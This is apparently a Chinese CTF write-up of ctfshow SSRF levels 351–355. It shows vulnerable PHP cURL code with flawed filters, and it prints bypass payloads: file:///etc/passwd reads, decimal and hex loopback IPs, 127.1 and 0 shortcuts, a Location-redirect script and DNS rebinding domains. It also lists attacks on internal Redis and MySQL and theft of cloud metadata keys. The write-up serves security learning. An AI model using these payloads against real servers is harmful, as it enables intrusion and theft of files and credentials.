本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。
文章目录
SSRF介绍
什么是 SSRF
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造指令,并最终由服务端发起请求的安全漏洞;其核心本质是攻击者利用存在安全缺陷的 Web 应用程序作为跳板或代理,去访问和攻击那些原本对外部网络不可见、攻击者自身无法直接触及的内部网络或本地系统。
原理与作用
它的作用机制在于信任的滥用:当目标 Web 服务提供了从其他服务器获取数据的功能(例如图片远程拉取、网页翻译、Webhook 集成),却未能对用户传入的目标 URL 及其协议进行严格的校验与过滤时,攻击者便可以随意篡改这个 URL,迫使服务端乖乖"听令",代替攻击者向指定的任意地址发起网络请求。
攻击用途
在实战场景中,攻击者主要将其用作突破边界防御的内网渗透利器,具体用途包括对受保护的内网进行大规模的资产探活与端口扫描、利用伪协议读取目标服务器本地的敏感配置文件(如密码本、数据库连接信息),以及对内网中缺乏身份验证的脆弱服务(如 Redis、MySQL、未授权的 API)发送恶意数据包。
Web351
SSRF开始啦
这里我们打开页面,得到如下结果:

内容如下:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo($result);
?
代码解释:
- 接收输入:
$url = $_POST['url']获取用户POST提交的URL参数 - 漏洞核心:
curl_init($url)直接将用户可控URL传入cURL发起请求 - 执行请求:
curl_exec($ch)发送网络请求并获取目标响应
这是一道经典的 SSRF (Server-Side Request Forgery,服务端请求伪造) 题目:
常见的SSRF渗透思路通常有以下几步:
- 读取本地文件: 利用
file://协议,直接读取系统配置文件(如/etc/passwd)或目录下的 Flag。 - 探测内网资产: 借助
http://扫描内网存活主机与开放端口(如 6379, 3306),寻找未授权访问目标。 - 深度打击内网 (RCE): 使用万金油协议
gopher://或dict://,构造恶意数据流攻击内网的 Redis、MySQL 等组件,获取服务器权限。 - 获取后端源码: 结合
php://filter伪协议,将目标代码(如flag.php)Base64 编码后读出,绕过 PHP 解析引擎。 - 云环境窃密(特殊场景): 若目标位于公有云,尝试请求
http://169.254.169.254窃取云实例的元数据及控制台密钥。
解题思路
根据上述,我们尝试读取一下本地文件file://:
bash
url=file:///etc/passwd
得到结果:

随后尝试一下读取flag文件;
有时候题目会限制外部网络访问,但允许本地访问(Bypass Localhost Restrictions)。有些 flag 可能藏在只有 127.0.0.1 才能访问的页面里。
- 尝试本地回环访问:
url=http://127.0.0.1/flag.php或url=http://localhost/flag.php - 绕过
127.0.0.1过滤(如果被禁了): 可以尝试 url=http://0/、url=http://127.0.0.1.xip.io/、或者转换成十进制/十六进制 IP,例如 url=http://2130706433/
这里比较幸运,通过本地回环得到了flag:
bash
url=http://127.0.0.1/flag.php
成功得到flag:

Web352
来到下一题,还是首先观察一下题目:

php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
代码解释:
-
协议限制: :
if($x['scheme'] === 'http' || $x['scheme']==='https')检查 URL 必须以 http:// 或 https:// 开头。这是为了防止攻击者使用 file://(读取本地文件)或 dict:// 等其他危险协议。 -
黑名单过滤失效(语法错误) :
if(!preg_match('/localhost|127.0.0/'))这一行中,preg_match函数漏写了第二个参数 (应该写成preg_match('...', $url))。这导致该函数执行失败返回false,再经过!取反后永远为true,使得针对localhost和内网 IP 的拦截完全失效。 -
任意请求执行 :
防御失效后,代码直接通过
curl_exec($url)去请求用户完全可控的 URL,并输出结果。
漏洞后果 :攻击者可以传入 [http://127.0.0.1](http://127.0.0.1) 或其他内网地址,利用这台服务器作为跳板,直接读取和探测它的本地或内网敏感服务。
解题思路
既然由于代码本身的逻辑,导致 if(!preg_match('/localhost|127.0.0/')) 限制失败,所以我们还是可以用上一关的相同payload:
bash
url=http://127.0.0.1/flag.php

成功拿到flag;
Web353
我们打开新一关,发现代码发生了变化:

php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
代码解释:
虽然这次 preg_match('/localhost|127\.0\.|\。/i', $url) 语法写对了,但仅拦截了 localhost 、127.0. 和句号 。,这种基于表面字符串的防御非常脆弱。
解题思路
我们只需换种写法,不触发这些关键字,依然能让服务器请求本地或内网:
- IP 进制转换 :将
127.0.0.1转换为十进制形式(如http://2130706433)或十六进制形式(如http://0x7f000001)。 - 缺省 IP 写法 :在很多系统上,使用
http://0.0.0.0甚至直接简写为http://0都能直接访问本地服务。 - 域名解析(DNS 欺骗) :攻击者可以用一个指向
127.0.0.1的公网域名(例如http://localtest.me或攻击者自己配置的域名),直接绕过所有 IP 字符限制。
bash
# payload
url=http://2130706433/flag.php
url=http://0x7f000001/flag.php
url=http://0.0.0.0/flag.php
使用以上payload都可以得到flag:

Web354
同理,我们还是先看代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
与上一关相比,唯一的区别在于黑名单正则表达式变得极其严格:
- 上一关过滤规则 :
'/localhost|127\.0\.|\。/i'(主要防普通的 127.0 开头的 IP) - 本关过滤规则 :
'/localhost|1|0|。/i'(直接拉黑了数字1和0)
区别与脆弱性影响 :
直接过滤掉 1 和 0,使得上一关常用的 IP 变形手法(如 127.1、0.0.0.0、十进制 2130706433、十六进制 0x7f000001 等)全部失效。
解题思路
但依然存在 SSRF 漏洞 ,因为拦截的只是字符串表面。攻击者可以注册一个完全不包含数字 1 和 0 的域名(例如 [http://my-domain.net](http://my-domain.net)),并在自己的 DNS 服务器上将该域名解析到 127.0.0.1,即可完美绕过这层过滤。
bash
方法一:将域名A类指向127.0.0.1
http(s)://sudo.cc/指向127.0.0.1
url=http://sudo.cc/flag.php
方法二:
<?php header("Location: http://127.0.0.1/flag.php");
# POST: url=http://your-domain/ssrf.php
方法三:DNSlog平台绑定127.0.0.1
这里我们也可以自己去找个DNSlog平台(注意域名里不能有1):

随后绑定DNS为:127.0.0.1,当你需要让域名解析到你刚才绑定的 127.0.0.1 时,需要在你的专属标识符(Identifier)前加上 r.
bash
url=http://r.xxx.ceye.io/flag.php
成功返回结果:

成功拿到结果;
Web355
我们还是先看代码:
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker
与上一关相比,最大的区别在于防御机制由"关键字黑名单"变成了"主机名长度限制"。
- 上一关:通过正则过滤字符(不能有 1、0 等),你用自定义的 CEYE 域名绕过了。
- 本关(区别) :去掉了正则过滤,改为提取 URL 中的
host(主机名/IP部分),并严格限制它的长度必须小于或等于 5 (strlen($host) <= 5)。
区别与脆弱性影响 :
由于长度被限制在 5 以内,你上一关用的 CEYE 域名(如 r.gojo4j.ceye.io,长度为 16)在这里就行不通了,会被直接拦截。
绕过思路
但漏洞依然存在 ,因为攻击者可以使用极其简短的 IP 缩写形式 来绕过长度限制访问本地服务,例如:
http://127.1(127.1长度刚好是 5,在网络请求中会自动补全等效于127.0.0.1)。http://0(0长度只有 1,在多数 Linux 服务器环境下,http://0会直接解析为访问本地127.0.0.1或0.0.0.0)。
这里我们直接执行payload:
bash
url=http://127.1/flag.php
url=http://0/flag.php
成功得到结果:

总结
本文以ctfshow靶场SSRF专栏为例,探讨PHP环境下基于cURL组件引发的请求伪造漏洞。内容重点分析正则表达式过滤缺陷、数字黑名单绕过、DNS重绑定(DNS Rebinding)技术原理,以及利用IP缩写突破主机名长度限制的底层逻辑。
期待下次再见;